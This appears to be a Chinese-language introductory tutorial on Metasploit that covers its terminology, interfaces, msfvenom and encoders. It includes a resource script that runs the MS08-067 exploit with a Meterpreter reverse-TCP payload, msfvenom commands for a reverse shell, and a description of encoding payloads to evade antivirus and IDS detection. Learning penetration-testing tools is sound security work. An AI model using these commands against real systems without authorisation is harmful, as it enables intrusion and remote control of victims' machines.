Metasploit基础
Metasploit基础
第一次接触MSF时,需要掌握他的一i额专业术语,模块,接口,选项和变量,最重要的一点:
>>>
不光要关注于那些最新的模块,而应该关注Metasploit是如何进行攻击的,以及你可以使用哪些命令来使得渗透成功实施
一、专业术语:
1、渗透攻击Exploit:
由攻击者或渗透测试者利用一个系统、应用或服务中的安全漏洞,所进行的攻击行为。
流行的渗透攻击技术包括缓冲区溢出、Web应用程序漏洞攻击(SQL注入),以及利用配置错误等。
2、攻击载荷Payload:
期望目标系统在被渗透攻击之后去执行的代码。可以在MSF框架中*地选择、传送和植入。
Eg:
反弹式shell–从目标主机到攻击主机创建网络连接,并提供命令行shell的攻击载荷;
bind shell–在目标主机上将命令行shell绑定到一个打开的监听端口,连接这些端口进行shell交互;
简单的在目标操作系统上执行一些命令–添加用户账号等。
3、Shellcode:
作为攻击载荷运行的一组机器指令。
目标系统执行了shellcode之后,才会提供一个命令行或者Meterpreter shell。
4、模块Module:
MSF框架中所使用的一段软件代码组件。
渗透攻击模块exploit module–实际发起渗透攻击的软件组件。
辅助模块auxiliary module–执行注入扫描或系统查点的攻击动作。
5、监听器Listener:
等待连入网络连接的组件。
二、Metasploit用户接口
终端、命令行和图形界面
1、MSF终端–msfconsole
-
能够访问Metasploit框架中几乎每一个选项和配置。 启动MSF终端–命令行中输入msfconsole
-
访问帮助文件–help+metasploit命令【help connect】
2、MSF命令行
主要考虑脚本处理和其他命令行工具的互操作性。
- 支持直接从命令行shell执行 允许将其他工具的输出重定向到msfcli 将msfcli的输出重定向给其他的命令行工具
在明确知道你使用哪个渗透攻击模块和所需要的配置参数时,它将是高效实施渗透攻击的绝妙工具。
msfcli已废弃:
[https://blog.rapid7.com/2015/07/10/msfcli-is-no-longer-available-in-metasploit/]
1:今年一月,我们对msfcli发布了否决公告,命令行界面版本的Metasploit。今天我们要和它说再见了。而msfcli,我们推荐使用Msfconsole -x选项。例如,这里是你如何可以运行在一个线MS08-067:
2:您还可以利用诸如资源脚本甚至命令别名之类的东西来减少输入。这里的一个例子,你将如何编写资源脚本来自动运行ms08_067:
use exploit/windows/smb/ms08_067_netapi
set RHOST [IP]
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST [IP]
run
然后运行它:
./msfconsole -r name_of_resource_script.rc 本的帮助文档使用如下命令:
3:如果你已经运行了msfconsole资源脚本,你可以使用这样的方式:
msf > resource name_of_resource_script.rc
使用实例:
- 使用的是kali-2.0版本[环境]
- ms12-020 漏洞
3、Armitage–图形化用户接口~?目前已经是msfgui~~~~
三、Metasploit功能程序
在某些特定的场合下,对Metasploit框架中的一些特殊功能进行直接访问的接口。
现在已经没有msfpayload的命令了,换成msfvenom了,里面集成了msfpayload和msfencode
1、MSF攻击载荷生成器
允许生成shellcode、可执行代码和其他更多的东西。
Shellcode可以生成包括C、JavaScript、甚至是Web应用程序中VB脚本等多种格式,每种输出格式在不用场景中使用。
//查看msfpayload需要哪些配置选项
msfvenom -h
//查看攻击载荷模块的配置选项
msfvenom windows/shell_reverse_tcp O
2、MSF编码器
MSF攻击载荷生成器产生的shellcode是完全可运行的,但是其中包含了一些null空字符,在程序解析时,会被认为是字符串的结束,从而终止了代码的完整运行。
\0x00 和 \0xff 字符会破坏攻击载荷
MSF编码器–对原始的payload进行编码,避免坏字符,以及逃避杀毒软件和IDS的检测。
//查看MSF编码器的配置选项列表
msfvenom -h
MSF中包含了一系列可以应用于不同场景下的编码器。
Excellent等级的编码器–x86/shikata_ga_nai
//查看有哪些可用的编码器清单,并以可靠性的好坏进行排序显示
msfvenom -1#3、Nasm Shell
nasm_shell.rb功能程序–了解汇编代码含义,对给定的汇编指令找出它的opcode操作码。
//运行工具,请求jmp esp命令的opcode操作码
aaa@qq.com:./nasm_shell.rb
nasm> jmp esp
//结果如下
00000000 FFE4 jmp esp
四、Metasploit Express 和 Metasploit Pro
商业化web接口软件。